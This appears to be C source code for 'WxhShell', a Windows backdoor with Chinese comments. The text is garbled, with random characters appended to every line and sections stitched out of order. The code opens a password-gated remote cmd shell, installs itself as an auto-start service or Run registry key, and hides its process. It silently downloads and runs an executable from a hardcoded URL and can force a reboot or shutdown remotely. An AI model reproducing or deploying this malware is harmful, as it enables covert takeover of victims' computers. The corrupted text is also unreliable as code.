  case 'd': { R~;<}!Gtx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nKufVe  
    if(Boot(SHUTDOWN)) V[A uw3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NtSa# $A  
    else { )CEfG  
    closesocket(wsh); ~x`OCii  
    ExitThread(0); `0Qzu\gRb  
    } k6. }.  
    break; pT.iQ J|  
    } c`AtK s)u  
  // 获取shell LbvnV~S  
  case 's': { G' Jsk4:c  
    CmdShell(wsh); Al6)$8]e   
    closesocket(wsh); oJ>]=^?k  
    ExitThread(0); k)dLJ<EM  
    break; OZs^c2 W  
  } t-i;  
  // 退出 KR%DpQ&{'  
  case 'x': { @'s^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -AJe\ J 2  
    CloseIt(wsh); 591Syyy  
    break; "{j4?3f)  
    } -dZ7;n5&_  
  // 离开 0vt?yD  
  case 'q': { R/xeC [r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MAQkk%6[g  
    closesocket(wsh); E"nIC,VZ  
    WSACleanup(); `(.K|l}  
    exit(1); iLNKC'  
    break; JZ]4?_l  
        } tJ i#bg%  
  } b_:]Y<{> f  
  } m "h{HgJd  
seB ^o}  
  // 提示信息 a9`E&Q}z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v&D^N9hy9  
} ;1A4p`)  
  } yk,o*g  
ehV`@ss  
  return; V31<~&O~%  
} D:/^TEib  
I|@%|sTW  
// shell模块句柄 aI{Ehbf=  
int CmdShell(SOCKET sock) oMM`7wJw  
{ HSE9-c =  
STARTUPINFO si; g VplBF7{  
ZeroMemory(&si,sizeof(si)); m?V4r#t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JJPU!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~q5"'  
PROCESS_INFORMATION ProcessInfo; c-(,%0G0  
char cmdline[]="cmd"; pPuE-EDk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #;# V1  
  return 0; 4 >at# Zc  
} yF0\$%H>$  
a4Qr\"Qm  
// 自身启动模式 ]<V[H  
int StartFromService(void) ~D PjTR  
{ yO; r]`j0  
typedef struct Az8>^|@  
{ o['HiX  
  DWORD ExitStatus; aqSHo2]DX9  
  DWORD PebBaseAddress; ^OnU;8IC  
  DWORD AffinityMask; \!Cix}}1  
  DWORD BasePriority; Gt3V}"B3\  
  ULONG UniqueProcessId; D pI)qg#>V  
  ULONG InheritedFromUniqueProcessId; n*D-01v YP  
}   PROCESS_BASIC_INFORMATION; XXBN Nr_CK  
^$}9 Enj+Y  
PROCNTQSIP NtQueryInformationProcess; ~Pq1@N>n  
FctqE/>}I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J\^ZRu_K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <C`qJP-  
CkKr@.dV  
  HANDLE             hProcess; dbQUW#<Q  
  PROCESS_BASIC_INFORMATION pbi; BT.;l I  
 \09eH[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O0`sg90,C  
  if(NULL == hInst ) return 0; a ;WRTV  
ACxOC2\n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `xMmo8u4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8QDs4Bv|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UE3(L ^  
#  -e  
  if (!NtQueryInformationProcess) return 0; WvQK$}Ax4N  
*$~H=4t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N}HQvlLkF9  
  if(!hProcess) return 0; $w4%JBZr  
Cp` [0v~0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %5Hsd  
^x-vOG lR  
  CloseHandle(hProcess); B8 ;jRY  
PY- 1 oP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); = _X#JP79  
if(hProcess==NULL) return 0; Q\|72NWS  
2#:/C:  
HMODULE hMod; (C>FM8$J  
char procName[255]; &7"a.&*9xX  
unsigned long cbNeeded; /T1z z2l~  
 yV[9 (  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Ah (EZAR  
#-*7<wN   
  CloseHandle(hProcess); sLrSi  
o!!";q%DX  
if(strstr(procName,"services")) return 1; // 以服务启动 *5?a% p  
RZ 4xR  
  return 0; // 注册表启动 {G$I|<MD2T  
} zO8`xrN!  
mO<sw  
// 主模块 wTb7 xBI  
int StartWxhshell(LPSTR lpCmdLine) Whp;wAz  
{ hqrI%%  
  SOCKET wsl; C%_^0#8-0  
BOOL val=TRUE; Ww-%s9N<  
  int port=0; 9c9F C  
  struct sockaddr_in door; BNns#Q8a  
=%P'?(o|  
  if(wscfg.ws_autoins) Install(); acr@erk  
E]$YM5  
port=atoi(lpCmdLine); Jf6u E?.  
Elth xj  
if(port<=0) port=wscfg.ws_port; 9 f$S4O5  
8fA9yQ 8  
  WSADATA data; oE@{h$=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tgoOzk^  
AE0d0Y~9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' NCxVbyYD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yZk HBG4  
  door.sin_family = AF_INET; e[_W( v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , Fo7E  
  door.sin_port = htons(port); $Lg% CY  
%{qJkjG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NJK?5{H'  
closesocket(wsl); hpp>+=  
return 1; Xb +)@Y4h  
} b[p<kMTir  
;ELQIHnD"  
  if(listen(wsl,2) == INVALID_SOCKET) { DwM4/m  
closesocket(wsl); (}E-+:vFU  
return 1; uX_A4ht*  
} . +_IpygQ  
  Wxhshell(wsl); G tI]6t  
  WSACleanup(); j$r.&,m  
B198_T!  
return 0; +bK[3KG4F5  
f5D.wSY  
} [)UF@Sq4+Q  
xHEkmL`)4  
// 以NT服务方式启动 Ch-56   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Br2}!Ny  
{ Cw;&{jY  
DWORD   status = 0; rx`G* k{X  
  DWORD   specificError = 0xfffffff; DC S$d1  
]}z;!D>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :(tSL{FO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q)JG_Y.p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cy)b/4h@  
  serviceStatus.dwWin32ExitCode     = 0;  FkJa+ZA  
  serviceStatus.dwServiceSpecificExitCode = 0; <<F#Al  
  serviceStatus.dwCheckPoint       = 0; #k? Rl  
  serviceStatus.dwWaitHint       = 0; _Y F~DU  
N,v4SIC@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *;A I0  
  if (hServiceStatusHandle==0) return; Q]X0 O10  
g*$ 0G  
status = GetLastError(); "o#N6Qu71  
  if (status!=NO_ERROR) cGSoAK  
{ +wd} '4)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]:TX> X!  
    serviceStatus.dwCheckPoint       = 0; ),`MAevp  
    serviceStatus.dwWaitHint       = 0; bqY}t. Y&"  
    serviceStatus.dwWin32ExitCode     = status; 0 [6llcuj  
    serviceStatus.dwServiceSpecificExitCode = specificError; xTQV?g J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Ie~zZE&  
    return; *8k`m)h26  
  } f M 8kS  
BcV;EEi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a(CZGIB  
  serviceStatus.dwCheckPoint       = 0; p '{ `Uvr  
  serviceStatus.dwWaitHint       = 0; $t5 0<1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G3QB Rh{  
} Q"c!%`\  
-eAo3  
// 处理NT服务事件,比如:启动、停止 g;en_~g3j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K]dqK'  
{ PZ69aZ*Gs  
switch(fdwControl) 0^44${bA  
{ 3}O.B r|  
case SERVICE_CONTROL_STOP: g3{)AX[Uy  
  serviceStatus.dwWin32ExitCode = 0; e #l/jFJU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 20gPx;  
  serviceStatus.dwCheckPoint   = 0; YN 4P >d  
  serviceStatus.dwWaitHint     = 0; 2c fzLW(  
  { ]7kq@o/7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #|*;~:fz  
  } }8Wp X2U  
  return; U@[P.y~J  
case SERVICE_CONTROL_PAUSE: Y1AbG1n|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EK. L>3  
  break; }]sI?&xB  
case SERVICE_CONTROL_CONTINUE: ><iEVrpN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UNocm0!N'  
  break; @%J?[PG  
case SERVICE_CONTROL_INTERROGATE: G\h8j*o  
  break; /b@0HL?  
}; q|2{W.P5qi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 77/y{#Sk  
} #m 3WZ3t$  
Y5LESZWo  
// 标准应用程序主函数 ZTd_EY0q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "%ag^v9  
{ XboOvdt^|  
"Gcr1$xG8!  
// 获取操作系统版本 pPCxa#OV  
OsIsNt=GetOsVer(); #Q6wv/"Ub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sw#Ez-X  
S|;a=K&hS  
  // 从命令行安装 0<{/T*AU:  
  if(strpbrk(lpCmdLine,"iI")) Install(); M4M 4*o  
`ZN@L<I6  
  // 下载执行文件 9}X3Q!iFb  
if(wscfg.ws_downexe) { 0]8+rWp|Nz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _wM[U`H}s  
  WinExec(wscfg.ws_filenam,SW_HIDE); SiojOH  
} DS>s_3V  
-j3 -H&  
if(!OsIsNt) { fFXs:(  
// 如果时win9x,隐藏进程并且设置为注册表启动 oD{V_/pdx  
HideProc(); (#c5Q&  
StartWxhshell(lpCmdLine); HAo8]?J  
} ^1,]?F^  
else i )3Y\ u  
  if(StartFromService()) ^ .kas7 <  
  // 以服务方式启动 B>X+eK  
  StartServiceCtrlDispatcher(DispatchTable); d;lp^K M  
else 9][Mw[k>  
  // 普通方式启动 8f^URN<x  
  StartWxhshell(lpCmdLine); l0D.7>aj  
JPQ02&e  
return 0; 2l5@gDk5  
} q*{"6"4(  
Bo%M-Gmu  
=q xcM+OX1  
7M;Y#=sR  
=========================================== cIM5;"gLP  
u6r-{[W}  
5tq$SF42X  
&KR@2~vE  
aE{b65'Dt  
w5|@vB/pj  
" 3}twWnQZJ  
|xKB><  
#include <stdio.h> ^;@Bz~Z  
#include <string.h> k}T~N.0  
#include <windows.h> ui 2RTAb  
#include <winsock2.h> 3&' STPpW  
#include <winsvc.h> Q ;k_q3  
#include <urlmon.h> T}!7LNE  
}|SVt`n  
#pragma comment (lib, "Ws2_32.lib") 9oq(5BG,  
#pragma comment (lib, "urlmon.lib") }f-rWe{gs>  
'.kbXw0}  
#define MAX_USER   100 // 最大客户端连接数 K4R jGSaF  
#define BUF_SOCK   200 // sock buffer #='#`5_5  
#define KEY_BUFF   255 // 输入 buffer HKxrBQr78  
q0c)pxD%`  
#define REBOOT     0   // 重启 T >-F~?7Sv  
#define SHUTDOWN   1   // 关机 pwZ &2&|  
[e^i".  
#define DEF_PORT   5000 // 监听端口 `7 B [<  
=)I{KT:y  
#define REG_LEN     16   // 注册表键长度 n--`zx-['  
#define SVC_LEN     80   // NT服务名长度 3K0J6/mc  
z.H`a+cl  
// 从dll定义API #F{|G:\@[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1^W Aps  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ljf9L:L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sv>aZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gTQ6B,`/8  
bFJn-g n  
// wxhshell配置信息 {MEU|9@ Y  
struct WSCFG { H{$yy)@F  
  int ws_port;         // 监听端口 #F6ak,9S4  
  char ws_passstr[REG_LEN]; // 口令 8'quQCx*=  
  int ws_autoins;       // 安装标记, 1=yes 0=no < 1r.p<s  
  char ws_regname[REG_LEN]; // 注册表键名 .s9Iymz  
  char ws_svcname[REG_LEN]; // 服务名 p_nrua?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W ][IHy<   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;s!H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v m$v[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hg&AQk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D"WkD j"M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U!`'Qw;  
.5z|g@ 6  
}; d+w<y~\ q  
Q:LuRE!t  
// default Wxhshell configuration @Uu\x~3y  
struct WSCFG wscfg={DEF_PORT, />oU}m"k  
    "xuhuanlingzhe", Af%?WZlOq  
    1, IpP0|:}  
    "Wxhshell", 0jS/U|0  
    "Wxhshell", lt]U?VZ   
            "WxhShell Service", ;|%r!!#-t  
    "Wrsky Windows CmdShell Service", i0!F  
    "Please Input Your Password: ", 2u:j6ic  
  1, )}aF=%  
  "http://www.wrsky.com/wxhshell.exe", 3$b(iI< "  
  "Wxhshell.exe" PLyu1{1" z  
    }; 1W8W/Y=hT  
W7 E-j+2  
// 消息定义模块 S .jjB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rju8%FRO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +!Ltn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rb0{t[IU  
char *msg_ws_ext="\n\rExit.";  {MtB!x  
char *msg_ws_end="\n\rQuit."; R;yAqr29  
char *msg_ws_boot="\n\rReboot..."; 525 >=h  
char *msg_ws_poff="\n\rShutdown..."; qw/{o:ce]  
char *msg_ws_down="\n\rSave to "; ?uN(" I  
{Vm36/a  
char *msg_ws_err="\n\rErr!"; .R'i=D`Pz  
char *msg_ws_ok="\n\rOK!"; X3nhqQTZ  
#.)>geLC>9  
char ExeFile[MAX_PATH]; !O-+ h0Z  
int nUser = 0; r;C\eN  
HANDLE handles[MAX_USER]; X A|`wAGP  
int OsIsNt; s*f.` A*)  
QFPx4F7(e  
SERVICE_STATUS       serviceStatus; ni> ;8O]=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {+:XVT_+  
u^9c`  
// 函数声明 xNkY'4%  
int Install(void); yh:,[<q  
int Uninstall(void); Anv8)J!9u  
int DownloadFile(char *sURL, SOCKET wsh); Y zS*p~|  
int Boot(int flag); l'T0<  
void HideProc(void); <T[N.mB  
int GetOsVer(void); -/%jeDKp  
int Wxhshell(SOCKET wsl); m-RY{DO+  
void TalkWithClient(void *cs); gpWS_Dw9  
int CmdShell(SOCKET sock); ntV >m*^  
int StartFromService(void); @U{M"1zZe  
int StartWxhshell(LPSTR lpCmdLine); %ZyPK,("  
c5e\ckqm^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &|'6-wD.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )y W_O:  
j*4S]!  
// 数据结构和表定义 bOMP8{H,  
SERVICE_TABLE_ENTRY DispatchTable[] = e0HP~&BRs  
{ Rk%M~D*-  
{wscfg.ws_svcname, NTServiceMain}, - >I{ :#  
{NULL, NULL} qk,y|7 p  
}; *^6xt7  
03WRj+w  
// 自我安装 q&Wwt qc9  
int Install(void) SsX05>  
{ TSSt@xQ+  
  char svExeFile[MAX_PATH]; R"gm]SQ/  
  HKEY key; P &0cF{  
  strcpy(svExeFile,ExeFile); lhl 0  
Ko)T>8:  
// 如果是win9x系统,修改注册表设为自启动 T zYgH  
if(!OsIsNt) { NB5B$q_'#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -_DiD^UcXn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;}~Bv<#  
  RegCloseKey(key); }]+}Tipd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >5Oy^u6Ly  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Wzv$4;  
  RegCloseKey(key); [KI`e  
  return 0; /%9p9$kFot  
    } zl 0^EltiU  
  } ;n{j,HB  
} w9<FX>@  
else { 8/?uU]#Q  
l=~9 9mE  
// 如果是NT以上系统,安装为系统服务 F>kn:I"X)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y' |W['  
if (schSCManager!=0) n3g WM C  
{ lkWeQ)V  
  SC_HANDLE schService = CreateService ((>3,%B`  
  ( x ETVt q  
  schSCManager, R 4QwWSBJ  
  wscfg.ws_svcname, e=)* O  
  wscfg.ws_svcdisp, ZX6=D>)u  
  SERVICE_ALL_ACCESS, _AHB|P I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3KFrVhB=  
  SERVICE_AUTO_START, *Gh8nQbh  
  SERVICE_ERROR_NORMAL, ajW$d!  
  svExeFile, i^cM@?  
  NULL, t>GLZzO  
  NULL, 'a/6]%QFd!  
  NULL, H&=4y) /.  
  NULL, m\Fb ,  
  NULL 5`'au61/2  
  ); T{{AZV"pB  
  if (schService!=0) MY*>)us\  
  { obc^<ZD]  
  CloseServiceHandle(schService); VueQP|   
  CloseServiceHandle(schSCManager); @1-GPmj-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m *bKy;'8  
  strcat(svExeFile,wscfg.ws_svcname); LOUKUReE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $17 v,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4U a~*58  
  RegCloseKey(key); B0XBI0w^Y  
  return 0; WlRZ|.  
    } &T/q0bwd  
  } ^_S-s\DW  
  CloseServiceHandle(schSCManager); K6yFpVl  
} h-+a;![  
} -KJ!  
\ [^) WQ  
return 1; q,,>:]f#  
} $s(4?^GP  
qTa]th;  
// 自我卸载 lp0T\ %  
int Uninstall(void) ?r'TH/>  
{ tqwk?[y}+l  
  HKEY key; IJBJebqL  
p<0kmA<B/  
if(!OsIsNt) { vH?+JN"A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pT;-1c%:  
  RegDeleteValue(key,wscfg.ws_regname); c>WpOZ,  
  RegCloseKey(key); 'UXj\vJ3E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZJI1NCBZ  
  RegDeleteValue(key,wscfg.ws_regname); Up/u|A$0V  
  RegCloseKey(key); 07LL)v~  
  return 0; W/ZahPPq  
  } V=zM5MH2  
} -2jBs-z  
} )4F/T,{;m  
else { ]T3BDgu%&  
A]O5+" mc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yx}"> ;\  
if (schSCManager!=0) ?(NT!es  
{ 5IE+M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uM#U!  
  if (schService!=0) J,0WQQnb  
  { q%kj[ZOY$]  
  if(DeleteService(schService)!=0) { 7MuK/q.  
  CloseServiceHandle(schService); o!l3.5m2d  
  CloseServiceHandle(schSCManager); Xm^h5jAr  
  return 0; _Dcc<-.  
  } sg6w7fp>  
  CloseServiceHandle(schService); oA3W {  
  } Yr"!&\[oz  
  CloseServiceHandle(schSCManager); q{De&Bu  
} " ,aT<lw.  
} qp~4KukL  
Sv ~1XL W  
return 1; 2c>H(t h=  
} X v7U<q  
Puth8$  
// 从指定url下载文件 gcW{]0%L^  
int DownloadFile(char *sURL, SOCKET wsh) .t^UK#@#4  
{ L4/TI(MP  
  HRESULT hr; F3Ak'h{Ay  
char seps[]= "/"; ^;CR0.4  
char *token; jY#(A23  
char *file; u5{5ts+:  
char myURL[MAX_PATH]; DtJTnvG~B  
char myFILE[MAX_PATH]; ++Ys9Y)*,  
nzE,F\k  
strcpy(myURL,sURL); v1"g!%U6  
  token=strtok(myURL,seps); ej"o?1l@  
  while(token!=NULL) 8F`BJ6='  
  { eA*Jfb  
    file=token; v-7Rb )EP  
  token=strtok(NULL,seps); rz[uuY7  
  } EDgob^>  
_L:i=.hxN  
GetCurrentDirectory(MAX_PATH,myFILE); 5fj  
strcat(myFILE, "\\"); bDh:!M  
strcat(myFILE, file); ]lB3qEn<  
  send(wsh,myFILE,strlen(myFILE),0); .X LV:6  
send(wsh,"...",3,0); WDoKbTv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -M>K4*%K  
  if(hr==S_OK) 5}d/8tS  
return 0; SN[L4}{  
else 0,~6TV<K  
return 1; GOZQ5m -  
q(jkit~`A  
} vU8FHVytV  
7i+!^Qj?y  
// 系统电源模块 6L:tr LuQ  
int Boot(int flag) }4\!7]FVYX  
{ \%-E"[!  
  HANDLE hToken; C$'D]fX  
  TOKEN_PRIVILEGES tkp; fZw9zqg  
z3vsz  
  if(OsIsNt) { MKVfy:g%So  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )4'x7Qg/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~3'OiIw1@  
    tkp.PrivilegeCount = 1; Q2[prrk%j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !0!U01SWa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /.| A  
if(flag==REBOOT) { [yYH>~SuwZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t4jd KYA  
  return 0; y} $ P,  
} KTLbqSS\  
else { l?o-!M{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {w |dM#  
  return 0; &sZ9$s:(^  
} zldfRo\wl  
  } )y%jLiQv  
  else { *gM,x4Y  
if(flag==REBOOT) { EI=Naq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V>FT~k_"  
  return 0; O2`oe4."vd  
} JGk3 b=K  
else { f.aB?\"f6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uw2,o|=O  
  return 0; #K :-Bys5v  
} $S6HZG:N  
} }XGMa?WR  
Z{,GZT  
return 1; cQ3W;F8|n  
} 0|fb< "  
n) _dH/"  
// win9x进程隐藏模块 ;t;Y.*&=S  
void HideProc(void) PJxak3  
{ VxkCK02k  
ZR;8r Z](  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z.2r@Psk  
  if ( hKernel != NULL ) (|0.m8D~D  
  { BR& Aq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hzT{3YtY2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nabBU4;h  
    FreeLibrary(hKernel); AfbB~LlBq  
  } v"P&` 1=T  
Pl rkgS0J  
return; F`Dg*O  
} K0EY<Ltq  
]6$,IKE7  
// 获取操作系统版本 KGV.S  
int GetOsVer(void) !US8aT  
{ H&w:`JYDL3  
  OSVERSIONINFO winfo; w(76H^e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ID67?:%r  
  GetVersionEx(&winfo); /9x{^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v2 29H<  
  return 1; _ztZ> '  
  else ,op]-CY 5  
  return 0; g>2aIun_Q  
}  0dgP  
hp bwZ  
// 客户端句柄模块 (C8 U   
int Wxhshell(SOCKET wsl) doP$N3Zm  
{ v! 7s M  
  SOCKET wsh;  \#4m@  
  struct sockaddr_in client; ?M*7@t@  
  DWORD myID; g M4Pj[W  
r4O|()  
  while(nUser<MAX_USER) IDy_L;'`*  
{ >5)<Uv$  
  int nSize=sizeof(client); D(y+1^>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LHs-&  
  if(wsh==INVALID_SOCKET) return 1; ?e F@Q !h  
)v[XmJ>H~o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8F#osN  
if(handles[nUser]==0) 63W{U/*aao  
  closesocket(wsh); bGbqfO`  
else 2t+D8 d|c<  
  nUser++; &&[zT/]P  
  } >Bc> IO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9ky7r;?  
>T<6fpXuk2  
  return 0; \|CPR6I  
} 10p8|9rE}B  
\)ip>{WG  
// 关闭 socket = 96G8hlT  
void CloseIt(SOCKET wsh) Zp?4uQ)[W  
{ 7ftR 4  
closesocket(wsh); ,4[dLWU  
nUser--; 4&Byl85q  
ExitThread(0); !c%  
} t/}L36@+  
'It?wB W  
// 客户端请求句柄 B[r<m J  
void TalkWithClient(void *cs) {fZb@7?GF  
{ geksjVwPH  
^YGTh0$W  
  SOCKET wsh=(SOCKET)cs; P?kx  
  char pwd[SVC_LEN]; sf(i E(o  
  char cmd[KEY_BUFF]; o]Gguw5W{  
char chr[1]; [ `7%sn]$  
int i,j; tQWWgLM  
oL]mjo=jN  
  while (nUser < MAX_USER) { Yu'a<5f  
>OV<_(S4  
if(wscfg.ws_passstr) { C,/O   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?WQNIX4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $B\ H  
  //ZeroMemory(pwd,KEY_BUFF); ._?V%/  
      i=0; %SAw;ZtQ:  
  while(i<SVC_LEN) { `Oq M8U @  
;j{7!GeKa  
  // 设置超时 lwc5S `"  
  fd_set FdRead; .2 0V 3  
  struct timeval TimeOut; Ojq]HM6f  
  FD_ZERO(&FdRead); \R(R9cry  
  FD_SET(wsh,&FdRead); w/W7N   
  TimeOut.tv_sec=8; \<~}o I  
  TimeOut.tv_usec=0; N2BI_,hI1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i31<].|kA*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `H>b5  
t2- ^-g6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  FZ F @  
  pwd=chr[0]; [#Y' dFQ  
  if(chr[0]==0xd || chr[0]==0xa) { RT^v:paNT2  
  pwd=0; ^"9* 'vTtc  
  break; Rf)ke("  
  } ?7 \\e;j}  
  i++; !^e =P%S  
    } 0"78/6XIs  
_T5)n=|  
  // 如果是非法用户,关闭 socket  B/G-Yh$E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /.Fj.6U5  
} U3E&n1AA  
pj0fM{E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S,''>`w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5{d\u E%'p  
%d1draL  
while(1) {  |t))u`~  
}u%"$[I}  
  ZeroMemory(cmd,KEY_BUFF); |S&5es-yW  
KB!5u9  
      // 自动支持客户端 telnet标准   i0:>Nk  
  j=0; :]PM_V|  
  while(j<KEY_BUFF) { Dw_D+7>(v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +f>cxA  
  cmd[j]=chr[0]; ]5' d&f  
  if(chr[0]==0xa || chr[0]==0xd) { ye%iDdf  
  cmd[j]=0; =bLY /  
  break; `S3>3  
  }  z [C3  
  j++; 1D F/6y  
    } Ql%qQ ZV  
n_Onr0EvO  
  // 下载文件 c0_E_~  
  if(strstr(cmd,"http://")) {  Ow:1?Z{4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8 Ti G3  
  if(DownloadFile(cmd,wsh)) -oyO+1V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}:~5|.  
  else :K':P5i  
